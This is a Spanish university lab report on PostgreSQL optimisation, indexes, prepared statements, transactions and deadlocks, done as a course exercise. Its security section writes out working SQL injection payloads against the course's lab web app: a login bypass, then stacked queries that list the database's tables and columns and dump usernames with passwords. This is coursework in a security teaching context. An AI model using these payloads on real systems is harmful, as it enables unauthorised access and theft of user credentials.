SISTEMAS INFORMÁTICOS I
Memoria práctica 4

Optimización, Transacciones y
Seguridad

Marta García Marín
Jesús Daniel Franco López
Grupo 1402
Pareja 12

Índice

Introducción

Esta práctica ha consistido en el estudio de una base de datos y sus posibles opciones de uso, así como de la creación de estadísticas de esta y la optimización de sus consultas. Para ellos hemos utilizado principalmente las siguientes directivas SQL:

ANALYZE: recopila estadísticas sobre el contenido de las bases de datos y las guarda, permitiendo el uso de estas en un futuro para reducir tiempos y costes. Ejecuta las consultas suministradas y muestras los tiempos de ejecución.

EXPLAIN: muestra el plan de ejecución para la consulta requerida, indicando cómo serán recorridas las tablas, así como los algoritmos utilizados para la unión de estas. Además, muestra el coste inicial (para que se muestre la primera fila) y el coste total (para que se muestren todas las filas solución). No se ejecuta la sentencia realmente.

EXPLAIN y ANALYZE se suelen utilizar juntos, mostrando así el plan de ejecución y el resultado real de la sentencia. Además permite guardar estadísticas de estas ejecuciones para mejorar las búsquedas en el futuro.

PREPARE: Crea una consulta preparada. Una Sentencia Preparada, o Prepared Statement, es una característica que permite ejecutar la misma (o similar) sentencia SQL provocando una mejora en la seguridad y en el rendimiento de la aplicación. Es decir, si sabemos que vamos a hacer la misma query varias veces a la db la preparamos, por lo que no la crearemos constantemente.

CREATE INDEX: construye un índice en las columnas indicadas de una tabla concreta, mejorando así el rendimiento de la base de datos a la hora de acceder a los valores de estas columnas.

Además, hemos aprendido a hacer ataques a esta base de datos, pudiendo conseguir incluso todos los clientes y su información sin tenerla de primeras, y hemos asegurado la correcta eliminación de clientes impidiendo el acceso al mismo en el momento de borrarlo.

Optimización

Ejercicio A: Índices

En primer lugar, mediremos el rendimiento de una consulta SQL y estudiaremos distintos planes de ejecución, comparándolos entre sí, mediante el uso del comando EXPLAIN. Para ello, hemos creado el fichero *"clientesDistintos.sql"* (adjunto a esta memoria de prácticas). En la consulta, hemos mostrados el número de clientes distintos que tienen pedidos en un mes dado y hemos creado distintos índices aplicados a las columnas orderdate y totalamount de la tabla orders.
Nuestra consulta clientesDistintos.sql muestra el tiempo de resolución de ejecutar el número de clientes distintos que tienen pedidos en 201504 con un importe superior a 100. En la tabla se muestran los resultados obtenidos al ejecutar el explain sobre la misma consulta usando índices o no en las distintas columnas.
Así, la Tabla 1 muestra los principales resultados obtenidos:

	Consulta Base	Índice en columna orderdate	Índice en columna totalamount	Índice en columna orderdate y totalamount
Coste total	4856.76	4856.77	4026.28	4026.68

Tabla 1. Rendimiento del uso de un índice sobre una consulta SQL.

En general, los resultados obtenidos muestran que la creación de un índice en la columna totalamount mejora el rendimiento de la consulta en consulta en un 20% (en función del coste total). Como conclusión, podemos decir que el uso de índices acelera las búsquedas y mejora el rendimiento para los resultados obtenidos.

Ejercicio B: Preparar consultas

Para este ejercicio hemos variado el ficheros database.py para ejecutar obtener la lista de clientes por mes con los parámetros dados y atendiendo a si se usa o no el prepare.

Para la primera prueba, mostraremos el tiempo de ejecución de las consultas SIN haber creado los índices sobre la tabla orders.
Pasamos a la tabla 2, que muestra el resultado de 4 distintas consultas a la base de datos, dos de ellas con tamaños pequeños y las otras dos con salidas esperadas más grandes.
Las cuatro consultas hacen referencia a abril de 2015

	Consulta 1 300-1000 int 5	Consulta 2 400-500 int 1	Consulta 3 300-10000 int 2	Consulta 4 200 - 50000 int 1
Sin prepare	92ms	18ms	180ms	2168ms
Con prepare	97ms	31ms	167ms	2038ms

Tabla 2. Tiempo de consulta prepare/no prepare sin índices

Llegamos a la conclusión de que, sin índices, las consultas con la directiva prepare son más eficientes si la salida esperada es una tabla de gran tamaño.

Pasamos ahora a ejecutar las mismas consultas sobre la tabla de datos, pero cargando los índices del ejercicio A sobre ella

	Consulta 1 300-1000 int 5	Consulta 2 400-500 int 1	Consulta 3 300-10000 int 2	Consulta 4 200 - 50000 int 1
Sin prepare	6ms	1ms	8ms	384ms
Con prepare	4ms	1ms	7ms	362ms

Tabla 3. Tiempo de consulta prepare/no prepare con índices

Lo primero en lo que nos fijamos es en el descenso tan brusco de los tiempo de respuesta de la base de datos antes las consultas dadas. Esto viene dado por la creación de índices sobre las tabla orders.

Además nos fijamos en que, a diferencia del caso anterior, el uso de la directiva prepare es siempre más eficiente.

Ejercicio C: Cambiar la forma de realizar una consulta
Para observar los resultados de este ejercicio basta con ejecutar **cat ejercicioC.sql | psql -U alumnodb si1**, donde se llega a las siguientes conclusiones:

	Consulta 1	Consulta 2	Consulta 3
Coste inicial	3961.65	4537.41	0.00
Coste total	4490.81	4539.41	4640.83
Planning time	0.672 ms	0.295 ms	0.138 ms
Execution time	142.053 ms	185.285 ms	171.006 ms

Tabla 4. Generación de estadísticas sobre 3 consultas diferentes.

- El coste inicial en las 2 primeras alternativas supera los 3500 milisegundos, mientras que en la segunda alternativa es de 0 milisegundos, lo que indica que esta consulta muestra resultados nada más comenzar la ejecución.
- El tiempo de planificación es bastante más alto en la primera alternativa, pero el tiempo de ejecución total se reduce considerablemente en esta, lo que significa que esta alternativa es más rápida pero más difícil de encontrar.
- La segunda alternativa se lleva a cabo con dos Seq Scans que ocurren al mismo tiempo (al mismo nivel), por lo que una ejecución en paralelo sería beneficiosa
- La tercera alternativa realiza dos Subquerys, también al mismo nivel, lo que sería ventajoso en la ejecución en paralelo.

Ejercicio D: Generación de estadísticas

Para probar este ejercicio basta con ejecutar el fichero **countStatus.sql** una vez creada e inicializada la base de datos, donde se mostraran los diferentes planes de consulta antes de la creación de los índices, tras la creación de estos y una vez ejecutada la sentencia analyze sobre orders. Para que su visualización sea más clara, hemos dividido los resultados en dos tablas diferentes.

	Consulta 1 base	Consulta 2 base	Consulta 1 índice	Consulta 2 índice
Coste total	3507.18	3961.66	1496.53	1498.80
Planning time	0.385 ms	0.098 ms	0.177	0.064
Execution time	97.252 ms	179.109 ms	0.060 ms	131.581 ms

Tabla 5. Rendimiento del uso de índices sobre 3 consultas diferentes.

Observamos que el tiempo de ejecución y el coste se reducen considerablemente tras la creación de los índices en el campo status de orders. Además, el árbol de ejecución también cambia, pasando en ambas consultas de un Seq Scan on orders a un Bitmap Heap Scan on orders y un Bitmap Index Scan on i.

	Consulta 1	Consulta 2	Consulta 3	Consulta 4
Coste total	7.26	4211.82	2315.34	2930.86
Planning time	0.080	0.054	0.103	0.135
Execution time	0.032	127.801	24.838	46.576

Tabla 6. Rendimiento del analyze sobre 4 consultas diferentes.

Observamos que en la primera consulta el tiempo de ejecución y el coste se reducen hasta casi ser nulos, esto se debe a que al analizar la tabla orders se guarda la cantidad de elementos que tienen null, por lo que no habría que realizar la consulta como tal, si no que solo hay que acceder a este dato.

El resto de las consultas tienen unos valores más elevados, siendo el coste de la segunda casi el doble que el de las dos últimas y con un tiempo de ejecución bastante superior. En cambio, el tiempo de planificación es casi la mitad en este caso.

Los costes iniciales no los hemos tenido en cuenta ya que difieren de los costes finales por millonésimas, lo que implica que ninguna consulta muestra resultados nada más empezar su ejecución, si no que todos se muestran al final.

Transacciones y deadlocks

Ejercicio E: Estudio de transacciones

COMMIT: Marca el final de una transición correcta, bien sea explícita o implícita. En caso de que la transición no sea correcta, ejecutaremos **ROLLBACK**, que deshace lo cambiado

Para implementar todas las posibles opciones de borrado de clientes, hemos desarrollado en database.py la funcion delCustomer que, a partir de unos datos dados, intentará borrar un cliente de una manera u otra.

Si bFallo = True -> invertirá el orden de borrado para customers y orders, de manera que la consulta lanzará una exception, la cual aprovecharemos para ejecutar el ROLLBACK y no perder datos de la db

Si SQL = True -> la consulta se hará en formato SQL. En caso contrario, SQLAlchemy

Si commit = True -> se hará un commit intermedio justo después de borrar los datos de la tabla customerid

Para una mejor visualización del proceso imprimimos en la traza el contenido del customer de id pasado como argumento antes y después de ejecutar las consultas. De esta manera, si no se ha producido ningún fallo, al final de la ejecución, la tabla referida al customer estará vacía, pues es el objetivo de las consultas. Si ha habido algún fallo, la tabla del customer estará llena.

Adjuntamos las trazas de algunos ejemplos específicos elegidos para mostrar el correcto funcionamiento de todas las opciones de transacción

- customer ID = 456, SQL, commit intermedio, sin provocar error

Trazas

1. Contenido antes:
2. [(456, 'scurry', 'splat', 'rally ochoa 188', 'scrape argot', 'hank', 'legal', '16095', ' Greece', 'swop ', 'scurry.splat@kran.com', '+36 733526225', 'Dinners', '4371883457582652', '201307', 'bated', 'title', 39, 51000, 'F')]
3. BEGIN ejecutado
4. Pedidos de orderdetail borrados
5. COMMIT intermedio ejecutado
6. BEGIN intermedio ejecutado
7. Pedidos de orders borrados
8. Usuario customerid eliminado de customers
9. Duerme 0 segundos
10. COMMIT final ejecutado
11. Contenido despues:
12. []

- customer ID = 69, SQLAlchemy, sin commit intermedio, con error, durmiendo 5 secs

Trazas

1. Contenido antes:
2. [(69, 'aryan', 'wilily', 'rita clamor 11', 'slope nanook', 'revamp', 'drip', '48261', ' Jamaica', 'geiger', 'aryan.wilily@mamoot.com', '+30 630530097', 'Mastercard', '4699772304057821', '201409', 'peter', 'mitty', 39, 55597, 'M')]
3. BEGIN ejecutado
4. Pedidos de orderdetail borrados
5. ROLLBACK ejecutado debido a un error
6. Contenido despues:
7. [(69, 'aryan', 'wilily', 'rita clamor 11', 'slope nanook', 'revamp', 'drip', '48261', ' Jamaica', 'geiger', 'aryan.wilily@mamoot.com', '+30 630530097', 'Mastercard', '4699772304057821', '201409', 'peter', 'mitty', 39, 55597, 'M')]

Observamos que el contenido después es el mismo que antes, ya que se ha producido error en la eliminación

- customer ID = 69, SQL, con commit intermedio, con error, durmiendo 3 secs

Trazas

1. Contenido antes:
2. [(69, 'aryan', 'wilily', 'rita clamor 11', 'slope nanook', 'revamp', 'drip', '48261', ' Jamaica', 'geiger', 'aryan.wilily@mamoot.com', '+30 630530097', 'Mastercard', '4699772304057821', '201409', 'peter', 'mitty', 39, 55597, 'M')]
3. BEGIN ejecutado
4. Pedidos de orderdetail borrados
5. COMMIT intermedio ejecutado
6. BEGIN intermedio ejecutado
7. ROLLBACK ejecutado debido a un error
8. Contenido despues:
9. [(69, 'aryan', 'wilily', 'rita clamor 11', 'slope nanook', 'revamp', 'drip', '48261', ' Jamaica', 'geiger', 'aryan.wilily@mamoot.com', '+30 630530097', 'Mastercard', '4699772304057821', '201409', 'peter', 'mitty', 39, 55597, 'M')]

Ejercicio F: Estudio de bloqueos y deadlocks

El cambio en la base de datos que generará la espera es la creación de un trigger que espere 30 segundos, con lo que conseguimos realizar un deadlock

Para probar las sentencias y el trigger de updPromo.sql nos ha bastado con eliminar un cliente sin errores ni commits y un tiempo de espera (dormir) de 2 segundos. Haciendo esto, se puede observar que este tiempo de espera es mayor a 2 segundos. Esto se debe a que se produce un interbloqueo, ya que ambos procesos solicitan acceso a la misma tabla. Probando con diferentes tiempos de espera también ocurre lo mismo, por lo que concluimos que el cliente se mantiene a la espera del servidor.

Mientras borrábamos un cliente desde borrarCliente hemos probado a ejecutar una consulta para obtener la información de este usuario desde PgAdmin y desde terminal, y con ambos métodos podíamos realizar la consulta mientras el tiempo de dormir, mostrando la información de este usuario correctamente. Una vez esperado el tiempo de espera, el usuario se ha borrado, obviamente, y la consulta muestra un resultado vacío.

Si probamos a eliminar (con o sin error) un customer con un id que ha generado un deadlock en otra sesión, la primera se mantiene en espera, aunque no tenga que hacerlo. En el ejemplo que hemos probado, borramos en la sesión1 el id 9, y le obligamos a dormir durante 30 segundos. Esto provoca un deadlock en el acceso a la base de datos. Mientras esto ocurre, probamos a eliminar el mismo customerid en la sesión2, generando un error. Sin embargo, esta última sesión se mantiene en espera hasta que termina la primera, y su traza nos muestra el id eliminado, en vez de mostrar el rollback.

Para resolver estos problemas podemos establecer un orden de prioridad, permitiendo el acceso a recursos siempre siguiente este orden concreto.

Seguridad

Ejercicio G: Acceso indebido a un sitio web

Para hackear el login tenemos dos opciones:

- intentar acceder a un usuario que conocemos
- acceder a cualquier usuario a partir de algo que sepamos cierto

¿Cómo?

Tenemos que conocer primero la manera que tiene la web de obtener el login, por lo que inspeccionamos el código en database. La consulta que realiza es:

"select * from customers where username='" + username + "' and password='" + password + "'"

sabemos entonces que la query recibe el username del primer field del form. Aprovecharemos esto para cortar la query donde queramos.

Si a username le pasamos macao';-- la query que estamos haciendo en realidad es

"select * from customers where username= 'macao';-- and password="

por lo que cogerá el customer que tenga como username macao, sin tener en cuenta la contraseña, que ha quedado comentada en la segunda parte de la consulta.

Resultado: First Name: tidily
Last Name: hah

Si en vez de meter macao';-- metemos nombre' or 1=1;-- lo que estamos haciendo es

"select * from customers where username= 'nombre' or 1=1;-- and password='

que seleccionará toda la tabla, ya que es una condición que se cumple siempre (1=1). Esto nos devolverá la información del primer usuario. Esto también ocurre si lo escribimos en la celda de la contraseña.

Resultado: First Name: pup
Last Name: nosh

Una posible solución es limitar el campo de las contraseñas a caracteres alfanuméricos, por lo que no podría comentarse la parte de la query que quisieses evitar.

Ejercicio H: Acceso indebido a información

Obtenemos todas las tablas mediante:

2000'; select relname as movietitle from pg_class;--

Aparecen todas, así que usamos:

2000'; select concat(oid, nspname) as movietitle from pg_namespace;--

De aquí, sacamos el oid de las tablas que son public, que es 2200, ya que nos ha salido como resultado 2200public

Fitramos entonces los relname tales que su oid (relnamespace) es 2200

2000' and 1=0; select relname as movietitle from pg_class where relnamespace = 2200;--

con lo que obtenemos el listado de tablas que forman la base de datos

La clara candidata a obtener información de los clientes es la tabla customers

Para obtener su oid, haremos

2000' and 1=0; select concat(oid, relname) as movietitle from pg_class where relnamespace = 2200 and relname = 'customers';--

Obtenemos 253995customers -> oid = 253995

Sacamos las columnas de costumers mediante su oid, y la tabla pg.attribute de pgadmin

2000' and 1=0; select concat(attrelid, attname) as movietitle from pg_attribute where attrelid=253995;--

la columna candidata a contener los clientes del sitio web es username

Sabiendo entonces que la columna será username y la tabla es customers, haremos la consulta “normal”

2000' and 1=0; select username as movietitle from customers;--

Además, como vemos que la tabla customers tiene una columna password, podemos obtener toda la lista de clientes con sus contraseñas (así como toda su información)

2000' and 1=0; select concat(username,'-----',password) as movietitle from customers;--

Para protegerse de estos ataques no serviría ninguna de las opciones que se enuncian en el pdf de la práctica, ya que se podrían enviar peticiones (la cadena de inyección) al servidor en la url de la página.
Con una petición POST seguiríamos teniendo el mismo problema. El atacante podría enviar a la db una HTTPrequest y acabar consiguiendo la información deseada.

Para solucionar esto podríamos acotar el alfabeto de búsqueda a caracteres numéricos. Es decir, que en el año sólo se puedan meter números. (Algo así como un IntegerField)

Lista de ficheros adjuntos

Archivos sql:

- *clientesDistintos.sql*: Contiene las sentencias ejecutadas en las mediciones del ejercicio A.
- *ejercicioC.sql*: Contiene las tres alternativas para la consulta propuesta en el ejercicio C.
- *countStatus.sql*: Contiene las consultas, los índices y las sentencias ANALYZE del ejercicio D.
- updPromo.sql: Contiene las sentencias ejecutadas para el ejercicio F

Archivos base de la app:

- *routes.py*:
- *database.py*:

Referencias

- Información sobre el planificador de PostgresSQL:
  https://www.postgresql.org/docs/9.5/index.html
  https://www.w3schools.com/sql/
- Información spobre vulnerabilidades en aplicaciones :
  https://www.owasp.org/index.php/Main_Page
- Diapositivas de moodle
- Stack Overflow para resolver algunas dudas: https://es.stackoverflow.com/
- Ataques de seguridad usando pg_class:
  https://www.postgresql.org/docs/9.3/catalog-pg-class.html
- Ataques de seguridad usando pg_attribute:
  https://www.postgresql.org/docs/9.2/catalog-pg-attribute.html